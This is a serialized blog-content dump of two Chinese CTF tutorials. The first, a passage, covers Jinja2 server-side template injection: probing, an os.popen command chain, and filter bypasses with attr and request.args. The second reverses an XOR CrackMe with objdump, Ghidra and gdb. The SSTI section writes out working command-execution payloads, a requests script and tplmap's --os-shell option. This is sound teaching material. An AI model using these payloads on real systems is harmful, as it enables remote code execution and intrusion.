stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[26,7379,7377],{"__ignoreMap":24},[10,7381,7383],{"id":7382},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7385,7386,7388,7389,1728,7392,7395],{},[67,7387,251],{},"：题目过滤 ",[26,7390,7391],{},".",[26,7393,7394],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7397,7398,7400,7401,7404],{},[67,7399,261],{},"：点号访问可以用 Jinja2 的 ",[26,7402,7403],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7406,7407,7408,1728,7410,1728,7413,7416],{},"题目常过滤 ",[26,7409,7391],{},[26,7411,7412],{},"[",[26,7414,7415],{},"]"," 或关键词。",[76,7418,7420],{"id":7419},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[19,7422,7425],{"className":7423,"code":7424,"language":300,"meta":24},[298],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[26,7426,7424],{"__ignoreMap":24},[76,7428,7430],{"id":7429},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[19,7432,7435],{"className":7433,"code":7434,"language":300,"meta":24},[298],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[26,7436,7434],{"__ignoreMap":24},[15,7438,7439,7440,1728,7442,7445],{},"模板里不再出现 ",[26,7441,7120],{},[26,7443,7444],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7447,2483],{"id":2482},[76,7449,7451],{"id":7450},"工具-1curl","工具 1：curl",[19,7453,7455],{"className":82,"code":7454,"language":84,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[26,7456,7457,7471],{"__ignoreMap":24},[29,7458,7459,7461,7463,7466,7468],{"class":31,"line":32},[29,7460,281],{"class":91},[29,7462,285],{"class":284},[29,7464,7465],{"class":95},"http://target/?name={{7*7}}",[29,7467,955],{"class":284},[29,7469,7470],{"class":3002},"          # 探测\n",[29,7472,7473,7475,7478,7480,7483,7485,7488,7490,7493,7495],{"class":31,"line":38},[29,7474,281],{"class":91},[29,7476,7477],{"class":116}," -G",[29,7479,285],{"class":284},[29,7481,7482],{"class":95},"http://target/",[29,7484,955],{"class":284},[29,7486,7487],{"class":116}," --data-urlencode",[29,7489,285],{"class":284},[29,7491,7492],{"class":95},"name={{...}}",[29,7494,955],{"class":284},[29,7496,7497],{"class":3002},"   # 自动 URL 编码\n",[76,7499,7501],{"id":7500},"工具-2requests","工具 2：requests",[19,7503,7505],{"className":721,"code":7504,"language":723,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[26,7506,7507,7511,7515,7520,7525,7530,7535,7540],{"__ignoreMap":24},[29,7508,7509],{"class":31,"line":32},[29,7510,7296],{},[29,7512,7513],{"class":31,"line":38},[29,7514,741],{"emptyLinePlaceholder":740},[29,7516,7517],{"class":31,"line":111},[29,7518,7519],{},"url = \"http://target/\"\n",[29,7521,7522],{"class":31,"line":157},[29,7523,7524],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[29,7526,7527],{"class":31,"line":163},[29,7528,7529],{},"r = requests.get(url, params={\"name\": payload})\n",[29,7531,7532],{"class":31,"line":169},[29,7533,7534],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[29,7536,7537],{"class":31,"line":215},[29,7538,7539],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[29,7541,7542],{"class":31,"line":221},[29,7543,7544],{},"print(r.text)\n",[15,7546,7547,7550],{},[26,7548,7549],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[76,7552,7554],{"id":7553},"工具-3tplmap","工具 3：tplmap",[15,7556,7557],{},"模板注入自动化工具：",[19,7559,7561],{"className":82,"code":7560,"language":84,"meta":24,"style":24},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[26,7562,7563,7572,7591,7610],{"__ignoreMap":24},[29,7564,7565,7567,7569],{"class":31,"line":32},[29,7566,92],{"class":91},[29,7568,96],{"class":95},[29,7570,7571],{"class":95}," https://github.com/epinna/tplmap\n",[29,7573,7574,7576,7579,7581,7583,7585,7588],{"class":31,"line":38},[29,7575,105],{"class":104},[29,7577,7578],{"class":95}," tplmap",[29,7580,2227],{"class":1537},[29,7582,4132],{"class":91},[29,7584,1578],{"class":95},[29,7586,7587],{"class":116}," -r",[29,7589,7590],{"class":95}," requirements.txt\n",[29,7592,7593,7595,7598,7600,7602,7605,7607],{"class":31,"line":111},[29,7594,723],{"class":91},[29,7596,7597],{"class":95}," tplmap.py",[29,7599,948],{"class":116},[29,7601,285],{"class":284},[29,7603,7604],{"class":95},"http://target/?name=*",[29,7606,955],{"class":284},[29,7608,7609],{"class":3002},"          # * 是注入点标记\n",[29,7611,7612,7614,7616,7618,7620,7622,7624],{"class":31,"line":157},[29,7613,723],{"class":91},[29,7615,7597],{"class":95},[29,7617,948],{"class":116},[29,7619,285],{"class":284},[29,7621,7604],{"class":95},[29,7623,955],{"class":284},[29,7625,7626],{"class":116}," --os-shell\n",[10,7628,7630],{"id":7629},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7632,2581,7633,7636,7637,127],{},[26,7634,7635],{},"http://target/?name="," 存在 SSTI，flag 在 ",[26,7638,7639],{},"/flag",[76,7641,7643],{"id":7642},"第一步探测","第一步：探测",[15,7645,7646,7648],{},[67,7647,251],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[19,7650,7652],{"className":82,"code":7651,"language":84,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"\n",[26,7653,7654],{"__ignoreMap":24},[29,7655,7656,7658,7660,7662],{"class":31,"line":32},[29,7657,281],{"class":91},[29,7659,285],{"class":284},[29,7661,7465],{"class":95},[29,7663,291],{"class":284},[15,7665,7666,7667,7669],{},"响应含 ",[26,7668,7017],{}," → 确认。",[76,7671,7673],{"id":7672},"第二步直接打","第二步：直接打",[15,7675,7676,7678,7679,7682,7683,7685,7686,7688],{},[67,7677,261],{},"：先 ",[26,7680,7681],{},"config.__globals__"," 链试 ",[26,7684,7131],{},"；如果响应没出现 flag 内容，先改用 ",[26,7687,255],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[19,7690,7692],{"className":721,"code":7691,"language":723,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[26,7693,7694,7698,7702,7706,7710,7714],{"__ignoreMap":24},[29,7695,7696],{"class":31,"line":32},[29,7697,7296],{},[29,7699,7700],{"class":31,"line":38},[29,7701,741],{"emptyLinePlaceholder":740},[29,7703,7704],{"class":31,"line":111},[29,7705,7519],{},[29,7707,7708],{"class":31,"line":157},[29,7709,7524],{},[29,7711,7712],{"class":31,"line":163},[29,7713,7529],{},[29,7715,7716],{"class":31,"line":169},[29,7717,7544],{},[15,7719,7720],{},"预期输出中出现：",[19,7722,7725],{"className":7723,"code":7724,"language":300,"meta":24},[298],"flag{ssti_rce}\n",[26,7726,7724],{"__ignoreMap":24},[76,7728,7730],{"id":7729},"第三步被过滤时","第三步：被过滤时",[15,7732,7733,7735,7736,7738],{},[67,7734,261],{},"：把点号换成 ",[26,7737,7403],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7740,7741],{},"改用 attr 与 request.args 组合：",[19,7743,7746],{"className":7744,"code":7745,"language":300,"meta":24},[298],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[26,7747,7745],{"__ignoreMap":24},[10,7749,2778],{"id":2777},[15,7751,7752,7753,3728,7755,7758,7759,2570,7761,7764],{},"SSTI 主线：探测 ",[26,7754,6923],{},[26,7756,7757],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[26,7760,7403],{},[26,7762,7763],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1463,7766,7767],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":7769},[7770,7771,7772,7773,7774,7775,7776,7777],{"id":6736,"depth":111,"text":6737},{"id":6815,"depth":111,"text":6816},{"id":6905,"depth":111,"text":6906},{"id":7092,"depth":111,"text":7093},{"id":7382,"depth":111,"text":7383},{"id":2482,"depth":111,"text":2483},{"id":7629,"depth":111,"text":7630},{"id":2777,"depth":111,"text":2778},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1480,"image":7780,"alt":7781,"tags":7782,"published":740},"/blogs-img/blog6.png","SSTI 深入实战",[550,1484,7783,1486],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6731,"description":7778},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7789,"title":7790,"body":7791,"description":8731,"extension":1478,"meta":8732,"navigation":740,"ogImage":8733,"path":8736,"seo":8737,"stem":8738,"__hash__":8739},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7792,"toc":8720},[7793,7797,7800,7804,7810,7994,7997,8014,8017,8026,8031,8043,8047,8049,8054,8067,8071,8082,8085,8091,8096,8100,8111,8125,8127,8133,8142,8146,8151,8166,8168,8199,8201,8230,8237,8241,8273,8276,8301,8305,8308,8358,8363,8365,8373,8376,8382,8384,8396,8410,8412,8417,8426,8428,8433,8436,8451,8453,8459,8462,8466,8471,8488,8548,8550,8562,8564,8569,8572,8582,8586,8590,8673,8677,8708,8710,8717],[10,7794,7796],{"id":7795},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7798,7799],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7801,7803],{"id":7802},"二题目源码与编译","二、题目源码与编译",[15,7805,7806,7807,178],{},"出题人视角的 ",[26,7808,7809],{},"crackme.c",[19,7811,7813],{"className":2262,"code":7812,"language":684,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[26,7814,7815,7819,7824,7828,7833,7838,7843,7848,7853,7858,7863,7868,7873,7878,7883,7888,7893,7898,7903,7908,7913,7918,7923,7927,7931,7936,7941,7946,7951,7956,7961,7966,7971,7976,7981,7986,7990],{"__ignoreMap":24},[29,7816,7817],{"class":31,"line":32},[29,7818,2885],{},[29,7820,7821],{"class":31,"line":38},[29,7822,7823],{},"#include \u003Cstring.h>\n",[29,7825,7826],{"class":31,"line":111},[29,7827,741],{"emptyLinePlaceholder":740},[29,7829,7830],{"class":31,"line":157},[29,7831,7832],{},"int check(const char *input) {\n",[29,7834,7835],{"class":31,"line":163},[29,7836,7837],{},"    char key[] = \"k3y\";\n",[29,7839,7840],{"class":31,"line":169},[29,7841,7842],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[29,7844,7845],{"class":31,"line":215},[29,7846,7847],{},"    unsigned char enc[] = {\n",[29,7849,7850],{"class":31,"line":221},[29,7851,7852],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,7854,7855],{"class":31,"line":227},[29,7856,7857],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,7859,7860],{"class":31,"line":773},[29,7861,7862],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[29,7864,7865],{"class":31,"line":779},[29,7866,7867],{},"    };\n",[29,7869,7870],{"class":31,"line":785},[29,7871,7872],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[29,7874,7875],{"class":31,"line":791},[29,7876,7877],{},"    int n = strlen(input);\n",[29,7879,7880],{"class":31,"line":797},[29,7881,7882],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[29,7884,7885],{"class":31,"line":803},[29,7886,7887],{},"    if (n != 24) return 0;\n",[29,7889,7890],{"class":31,"line":809},[29,7891,7892],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[29,7894,7895],{"class":31,"line":815},[29,7896,7897],{},"    for (int i = 0; i \u003C n; i++)\n",[29,7899,7900],{"class":31,"line":821},[29,7901,7902],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,7904,7905],{"class":31,"line":827},[29,7906,7907],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[29,7909,7910],{"class":31,"line":833},[29,7911,7912],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[29,7914,7915],{"class":31,"line":839},[29,7916,7917],{},"    return 1;\n",[29,7919,7920],{"class":31,"line":845},[29,7921,7922],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[29,7924,7925],{"class":31,"line":851},[29,7926,224],{},[29,7928,7929],{"class":31,"line":857},[29,7930,741],{"emptyLinePlaceholder":740},[29,7932,7933],{"class":31,"line":863},[29,7934,7935],{},"int main(int argc, char **argv) {\n",[29,7937,7938],{"class":31,"line":869},[29,7939,7940],{},"    if (argc != 2) {\n",[29,7942,7943],{"class":31,"line":875},[29,7944,7945],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[29,7947,7948],{"class":31,"line":1256},[29,7949,7950],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[29,7952,7953],{"class":31,"line":1262},[29,7954,7955],{},"        return 1;\n",[29,7957,7958],{"class":31,"line":1268},[29,7959,7960],{},"    }\n",[29,7962,7963],{"class":31,"line":1274},[29,7964,7965],{},"    if (check(argv[1]))\n",[29,7967,7968],{"class":31,"line":1280},[29,7969,7970],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[29,7972,7973],{"class":31,"line":1286},[29,7974,7975],{},"        puts(\"Correct!\");\n",[29,7977,7978],{"class":31,"line":1292},[29,7979,7980],{},"    else\n",[29,7982,7983],{"class":31,"line":5233},[29,7984,7985],{},"        puts(\"Wrong!\");\n",[29,7987,7988],{"class":31,"line":5239},[29,7989,2965],{},[29,7991,7992],{"class":31,"line":5245},[29,7993,224],{},[15,7995,7996],{},"编译（解题时只有二进制，没有源码）：",[19,7998,8000],{"className":82,"code":7999,"language":84,"meta":24,"style":24},"gcc -o crackme crackme.c\n",[26,8001,8002],{"__ignoreMap":24},[29,8003,8004,8006,8008,8011],{"class":31,"line":32},[29,8005,2982],{"class":91},[29,8007,2985],{"class":116},[29,8009,8010],{"class":95}," crackme",[29,8012,8013],{"class":95}," crackme.c\n",[15,8015,8016],{},"运行确认行为：",[19,8018,8020],{"className":82,"code":8019,"language":84,"meta":24,"style":24},"./crackme\n",[26,8021,8022],{"__ignoreMap":24},[29,8023,8024],{"class":31,"line":32},[29,8025,8019],{"class":91},[15,8027,1762,8028,127],{},[26,8029,8030],{},"Usage: ./crackme \u003Cflag>",[19,8032,8034],{"className":82,"code":8033,"language":84,"meta":24,"style":24},"./crackme wrongflag123456789012\n",[26,8035,8036],{"__ignoreMap":24},[29,8037,8038,8040],{"class":31,"line":32},[29,8039,2767],{"class":91},[29,8041,8042],{"class":95}," wrongflag123456789012\n",[15,8044,1762,8045,127],{},[26,8046,1734],{},[10,8048,1604],{"id":1603},[15,8050,8051,8053],{},[67,8052,251],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,8055,8056,178,8058,8060,8061,8063,8064,8066],{},[67,8057,261],{},[26,8059,1674],{}," 能看到 ",[26,8062,1738],{}," 这样的短密钥（需要 ",[26,8065,1742],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[76,8068,8070],{"id":8069},"_31-file","3.1 file",[19,8072,8074],{"className":82,"code":8073,"language":84,"meta":24,"style":24},"file crackme\n",[26,8075,8076],{"__ignoreMap":24},[29,8077,8078,8080],{"class":31,"line":32},[29,8079,1631],{"class":91},[29,8081,2623],{"class":95},[15,8083,8084],{},"预期输出（Linux ELF）：",[19,8086,8089],{"className":8087,"code":8088,"language":300,"meta":24},[298],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[26,8090,8088],{"__ignoreMap":24},[15,8092,8093,8095],{},[26,8094,1648],{},"：函数名可见。",[76,8097,8099],{"id":8098},"_32-strings","3.2 strings",[15,8101,8102,8103,8105,8106,8108,8109,178],{},"注意：",[26,8104,1674],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[26,8107,1738],{}," 只有 3 个字符，必须加 ",[26,8110,1742],{},[19,8112,8113],{"className":82,"code":2610,"language":84,"meta":24,"style":24},[26,8114,8115],{"__ignoreMap":24},[29,8116,8117,8119,8121,8123],{"class":31,"line":32},[29,8118,1674],{"class":91},[29,8120,1706],{"class":116},[29,8122,1709],{"class":116},[29,8124,2623],{"class":95},[15,8126,294],{},[19,8128,8131],{"className":8129,"code":8130,"language":300,"meta":24},[298],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[26,8132,8130],{"__ignoreMap":24},[15,8134,8135,8137,8138,8141],{},[26,8136,1738],{}," 极可能是密钥。",[26,8139,8140],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8143,8145],{"id":8144},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8147,8148,8150],{},[67,8149,251],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8152,8153,8155,8156,8158,8159,8162,8163,8165],{},[67,8154,261],{},"：main 里 ",[26,8157,1974],{}," 后紧跟 ",[26,8160,8161],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[26,8164,2646],{},"，逆向思路立刻清晰。",[76,8167,1816],{"id":1815},[19,8169,8171],{"className":82,"code":8170,"language":84,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[26,8172,8173],{"__ignoreMap":24},[29,8174,8175,8177,8179,8181,8183,8185,8187,8189,8191,8193,8195,8197],{"class":31,"line":32},[29,8176,1828],{"class":91},[29,8178,1831],{"class":116},[29,8180,1834],{"class":116},[29,8182,1837],{"class":95},[29,8184,8010],{"class":95},[29,8186,1863],{"class":1530},[29,8188,1866],{"class":91},[29,8190,1869],{"class":116},[29,8192,1872],{"class":116},[29,8194,1875],{"class":284},[29,8196,1878],{"class":95},[29,8198,1881],{"class":284},[15,8200,961],{},[19,8202,8204],{"className":1886,"code":8203,"language":1888,"meta":24,"style":24},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[26,8205,8206,8210,8214,8218,8222,8226],{"__ignoreMap":24},[29,8207,8208],{"class":31,"line":32},[29,8209,1895],{},[29,8211,8212],{"class":31,"line":38},[29,8213,1910],{},[29,8215,8216],{"class":31,"line":111},[29,8217,1915],{},[29,8219,8220],{"class":31,"line":157},[29,8221,1920],{},[29,8223,8224],{"class":31,"line":163},[29,8225,1925],{},[29,8227,8228],{"class":31,"line":169},[29,8229,1930],{},[15,8231,8232,8234,8235,127],{},[26,8233,1974],{}," 说明判断逻辑在 ",[26,8236,2003],{},[76,8238,8240],{"id":8239},"_42-objdump-看-check","4.2 objdump 看 check",[19,8242,8244],{"className":82,"code":8243,"language":84,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[26,8245,8246],{"__ignoreMap":24},[29,8247,8248,8250,8252,8254,8256,8258,8260,8262,8264,8267,8269,8271],{"class":31,"line":32},[29,8249,1828],{"class":91},[29,8251,1831],{"class":116},[29,8253,1834],{"class":116},[29,8255,1837],{"class":95},[29,8257,8010],{"class":95},[29,8259,1863],{"class":1530},[29,8261,1866],{"class":91},[29,8263,1869],{"class":116},[29,8265,8266],{"class":116}," 60",[29,8268,1875],{"class":284},[29,8270,2059],{"class":95},[29,8272,1881],{"class":284},[15,8274,8275],{},"预期会看到循环比较：",[19,8277,8279],{"className":1886,"code":8278,"language":1888,"meta":24,"style":24},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[26,8280,8281,8286,8291,8296],{"__ignoreMap":24},[29,8282,8283],{"class":31,"line":32},[29,8284,8285],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[29,8287,8288],{"class":31,"line":38},[29,8289,8290],{},"xor    eax, 0x...                 ; 与 key 异或\n",[29,8292,8293],{"class":31,"line":111},[29,8294,8295],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[29,8297,8298],{"class":31,"line":157},[29,8299,8300],{},"je     0x...\n",[76,8302,8304],{"id":8303},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8306,8307],{},"安装并打开：",[19,8309,8311],{"className":82,"code":8310,"language":84,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[26,8312,8313,8323,8333],{"__ignoreMap":24},[29,8314,8315,8317,8319,8321],{"class":31,"line":32},[29,8316,1575],{"class":91},[29,8318,1578],{"class":95},[29,8320,2183],{"class":95},[29,8322,2186],{"class":95},[29,8324,8325,8327,8329,8331],{"class":31,"line":38},[29,8326,2191],{"class":91},[29,8328,2194],{"class":95},[29,8330,2198],{"class":2197},[29,8332,2201],{"class":95},[29,8334,8335,8337,8339,8341,8344,8346,8348,8350,8352,8354,8356],{"class":31,"line":111},[29,8336,2206],{"class":91},[29,8338,2209],{"class":95},[29,8340,2198],{"class":2197},[29,8342,8343],{"class":95},".zip",[29,8345,2227],{"class":1537},[29,8347,105],{"class":104},[29,8349,2209],{"class":95},[29,8351,2198],{"class":2197},[29,8353,2224],{"class":95},[29,8355,2227],{"class":1537},[29,8357,2230],{"class":91},[15,8359,8360,8361,127],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[26,8362,2003],{},[15,8364,2259],{},[19,8366,8367],{"className":2262,"code":2656,"language":684,"meta":24,"style":24},[26,8368,8369],{"__ignoreMap":24},[29,8370,8371],{"class":31,"line":32},[29,8372,2656],{},[15,8374,8375],{},"得到逆运算关系：",[19,8377,8380],{"className":8378,"code":8379,"language":300,"meta":24},[298],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[26,8381,8379],{"__ignoreMap":24},[10,8383,2292],{"id":2291},[19,8385,8387],{"className":82,"code":8386,"language":84,"meta":24,"style":24},"gdb ./crackme\n",[26,8388,8389],{"__ignoreMap":24},[29,8390,8391,8393],{"class":31,"line":32},[29,8392,2319],{"class":91},[29,8394,8395],{"class":95}," ./crackme\n",[19,8397,8399],{"className":2331,"code":8398,"language":2319,"meta":24,"style":24},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[26,8400,8401,8405],{"__ignoreMap":24},[29,8402,8403],{"class":31,"line":32},[29,8404,2332],{},[29,8406,8407],{"class":31,"line":38},[29,8408,8409],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8411,294],{},[19,8413,8415],{"className":8414,"code":2344,"language":300,"meta":24},[298],[26,8416,2344],{"__ignoreMap":24},[19,8418,8420],{"className":2331,"code":8419,"language":2319,"meta":24,"style":24},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,8421,8422],{"__ignoreMap":24},[29,8423,8424],{"class":31,"line":32},[29,8425,8419],{},[15,8427,294],{},[19,8429,8431],{"className":8430,"code":2365,"language":300,"meta":24},[298],[26,8432,2365],{"__ignoreMap":24},[15,8434,8435],{},"查看 enc 数组（地址在反汇编中确定）：",[19,8437,8439],{"className":2331,"code":8438,"language":2319,"meta":24,"style":24},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[26,8440,8441,8446],{"__ignoreMap":24},[29,8442,8443],{"class":31,"line":32},[29,8444,8445],{},"(gdb) x/24bx 0x5555555551e0\n",[29,8447,8448],{"class":31,"line":38},[29,8449,8450],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8452,294],{},[19,8454,8457],{"className":8455,"code":8456,"language":300,"meta":24},[298],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[26,8458,8456],{"__ignoreMap":24},[15,8460,8461],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8463,8465],{"id":8464},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8467,8468,8470],{},[67,8469,251],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8472,8473,8475,8476,8479,8480,8483,8484,8487],{},[67,8474,261],{},"：因为 ",[26,8477,8478],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[26,8481,8482],{},"key[i%3]"," 得 ",[26,8485,8486],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[19,8489,8491],{"className":721,"code":8490,"language":723,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[26,8492,8493,8497,8501,8505,8510,8514,8519,8524,8529,8534,8539,8543],{"__ignoreMap":24},[29,8494,8495],{"class":31,"line":32},[29,8496,2690],{},[29,8498,8499],{"class":31,"line":38},[29,8500,2695],{},[29,8502,8503],{"class":31,"line":111},[29,8504,2700],{},[29,8506,8507],{"class":31,"line":157},[29,8508,8509],{},"key = b\"k3y\"   # 从 strings -n 3 